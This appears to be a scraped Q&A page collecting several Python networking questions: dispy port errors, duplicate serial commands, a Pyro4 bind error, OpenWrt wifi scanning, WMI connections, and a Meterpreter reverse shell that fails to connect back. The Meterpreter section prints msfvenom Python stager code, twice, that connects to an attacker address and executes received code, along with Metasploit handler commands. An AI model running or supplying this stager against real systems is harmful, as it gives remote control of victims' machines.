Python - dispy Port 51347 seems to be used by another program - python

I am trying to run the program on the dispy page (http://dispy.sourceforge.net/) and I know this question is very similar to this one once asked (Port 51347 seems to be used by another program), but please do not file as duplicate because I have tried the answer given there and it doesn't fix the problem. I ran netstat and couldn't find any program running on the port 51347.
I tried running the program on several different ports, but every time i tried to run it using a localhost IP it kept giving me the same error 'Port xxxx seems to be used by another program'. I tried using it with a different IP and it didn't give me an error but then the code waits for an input from that IP rather than simply running locally.
Has anyone else had this problem that found a fix?

Related

i am sending commands through serial port in python but they are sent multiple times instead of one

i am sending some commands having particular response serially using com port..the commands are kept in a file..i am reading each command through the file line by line and sending it serially over the com port..but when i am seeing it from the receiver end using Magic Terminal(Software)..i found that each command is going multiple times..which i am sending only one time..i have made a code in pycharm..and in the console i am seeing that command is going only once but from the uart receiving end the story is something else..i am stuck with this problem..i have maintain the same baudrate and everything but not able to diagnose the issue..
github link for the code is: https://github.com/AkshatPant06/Akshat-Pant/blob/master/cmd%20list
def recvResponse():
ser.write(serial.to_bytes(intCmd))
time.sleep(1)
data_recv=ser.read(2)
return data_recv
this i have used to receive the 2 byte response..
There seems to be nothing wrong with your code. At least to the extent I could reproduce, it only sends the command once (I tried your function after setting up my serial port in loopback).
I cannot say for sure but it might be that the terminal you're using has two windows, one for input and another one for output and somehow you're getting confused with what is in and out of your port.
One easy way to deal with this kind of issue is to use a sniffer on your port. You can do that combining com0com and Termite on Windows, as I recently explained here.
As you can see there is only one window on this terminal, and after setting up the forwarding you'll everything that comes in and out of your port. That should make it easier to see what your code is writing and reading.
To give you a conventional scenario to apply the sniffer trick you can refer to the following screenshot:
In this case, we have two real serial ports on a computer. On the first (COM9) we are running a Modbus server (you can imagine it as a bunch of memory addresses, each of one storing a 16-bit number). On COM10 we have a client that is sending queries asking for the contents of the first 10 addresses (called registers using the Modbus terminology). In a general use case, we have those ports linked with a cable, so we know (theoretically) that the client on COM10 is sending a data frame asking for those ten registers and the server on COM9 is answering with the numbers stored on those registers. But we are only able to see the contents on the server (left side of the picture) and what the client is receiving (right). What we don't see is what is traveling on the bus (yeah, we know what it is, but we don't know exactly how the Modbus protocol looks like on the inside).
If we want to tap on the bus to see what is being sent and received on each side we can create a couple of virtual ports with com0com and a port forwarding connection with Termite, something like the following screenshot:
Now we have moved our Modbus server to one of the virtual serial ports (COM4 in this case). After installing com0com we got (by default, but you can change names or add more port pairs, of course) a pair of forwarded ports (COM4<-->COM5). Now, if we want to see what is circulating through the ports we open Termite (bottom-right side of the picture) and set up another port forwarding scheme, in this case from virtual port COM5 to the real port COM9.
Finally (and exactly the same as before we were sniffing), we have COM9 connected together with COM10 with a cable. But now we are able to see all data going to and fro on the bus (all those HEX values you see on Termite displayed with the green/blue font).
As you can see, this will offer something similar to what you can do with more professional tools.

Error 99 when using Pyro4 on different machiens

Part of the code I'm using is based on the messagebus example at https://github.com/irmen/Pyro4/tree/master/examples/messagebus. I've set up a Pyro4 nameserver on one machine. The server & publisher are also running on this machine.
The subscriber works if I run it on this machine but I get an error if I try and run it on a different one. I need this to work on several different machines.
The Error I get is: "error: [Errno 99] Cannot assign requested address"
The line where my code is failing is:
d = Pyro4.Daemon(host = NS_HOST, port = 6193)
where NS_HOST is the name of the host where the nameserver etc are running, and 6193 is the port that the ns is using. For some reason it doesn't seem to work anywhere except the localhost. Do I need to do anything different?
I know that I can connect to the ns of this host because I don't get an error with:
Pyro4.locateNS(host = NS_HOST, port = 6193)
The above line isn't currently in my code ( I just used it to check that I wasn't having issues with wrong hostname, firewalls etc.) but I was wondering if there is a way I could combine this with Pyro4.Daemon() to get the code to work - any ideas?
I'm using python 2.7.
Thanks for your help!
(It often helps to include the actual stack trace and not only the final error message. And, "Error 99" is also a bit undescriptive.)
However, that error message is part of an OSError that's not caused by Pyro itself. It's an error condition from your OS's socket library because you're trying to bind a Pyro daemon on the wrong network interface address: you're supplying the address of the name server which is running on another node.
The 'host' and 'port' parameters for the Daemon are not the same as the ones you provide to the locateNS function. See https://pyro4.readthedocs.io/en/stable/servercode.html#creating-a-daemon Normally you don't have to specify them at all and just let Pyro figure out the suitable defaults.

Linux -OpenWrt- (Unwired One) python wlan interface scan error

The thing I am trying to achive, I want my android app to get a list of all available wlan connections within the range of a device with a wlan (at that point the device is an access point). Then I want to tell that device to which network to connect. So far so good.
I am trying to access the wlan module on my openwert device via python. I am using this [1] python module. When I execute the following example code
python iwlist.py wlan0 scanning
i get the error
Interface does not support scanning
Then I started to dig inside of the code, and the real error message is this one:
Argument list too long
and this error is comming from the module (from the file iwlibs.py). The exact code snippet (class Iwrange, update()) where it is comming from :
buff, s = iwstruct.pack_wrq(640)
print "Now comes the error"
status, result = iwstruct.iw_get_ext(self.ifname,
pythonwifi.flags.SIOCGIWRANGE,
data=s)
I dont know if it is of any help, but I also checked the buff variable and it just says 0x00 (I guess there should be some other stuff too bcz it is indicating some address in the memory, but of course I could be wrong too and the buffer is just being initialized there).
So, I am not sure what the problem is, it seems to me, maybe, that the reserver space (or buffer?) is too small for the stuff that is being returnd.
Does anybody know what else I could try in order to get this working ?
And one more thing, I also downloaded wireless_tools and now I can use iwlist. I can also scan and get the list of all surrounding wlan networks. So it seems the hardware is working fine, I am just not accessing it properly with python
[1] https://pypi.python.org/pypi/python-wifi/0.6.1
Just as an info, i solved my issue by changing the module I have been using. Now I am using [1]. When I execute this code
from wifi import Cell, Scheme
print "%s" %(Cell.all('wlan0'))
I get a list with all surrounding networks. Then I have just to choose one of them (by the SSID) and make my connection
[1]https://wifi.readthedocs.io/en/latest/

Meterpreter not connecting back - Python

I have used msfvenom to create the following python payload:
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('MY PUBLIC IP',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
I have then opened up msfconsole, and done the following:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.186 (MY LOCAL IP)
set LPORT 3930
exploit
It begins the reverse TCP handler on 192.168.0.186:3930, and also starts the payload handler. However, when I run the script on another computer, the payload times out after waiting for about a minute, and msfconsole doesn't register anything. I have port forwarded 3930 on the router. What am I doing wrong here?
This is the code I would use for a reverse TCP on Unix systems, with the details you've provided. However, I stumbled upon your post after error searching, so this isn't 100% flawless. I've gotten it to work perfectly in the past, but just recently it's begun to lag. It'll run once on an internal system, but anything after that gives me the same error message you got. I also get the same message when doing this over the WAN, as opposed to LAN, however it doesn't run the first time around. What ISP do you have? It may be entirely dependent on that.
import socket,struct
s=socket.socket(2,1)
s.connect(('IP ADDRESS',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
d+=s.recv(4096)
exec(d,{'s':s})

How do I connect to a VM using WMI in python?

I'm trying to make a script in python which fetches several pieces of information (such as CPU name, network adapters) about machines in my network.
The script is currently working on my machine by using wmi.WMI() (or wmi.WMI('localhost')) to connect.
But now I want to see if it works for other machines as well. For this purpose, I've installed VMWare and set up a Virtual Machine (running Windows XP). I'd like to know how to connect to it.
I've read that you can simply use wmi.WMI([machine name or IP]) but putting in the IP ipconfig gives me does not seem to work. I get the error The RPC server is unavailable.
Could anybody help me please?
Thank you in advance.
One thing you can do that I found to be helpful was use a try...except statement inside a while True loop. That will repeatedly force WMI to connect to the machine and only break once the connection has been established. For example, in the case of the RPC server is unavailable error:
while True:
try:
comm = wmi.WMI([servername] user=[username] password=[password])
except wmi.x_wmi:
continue
else:
break
That should help out a little.

Categories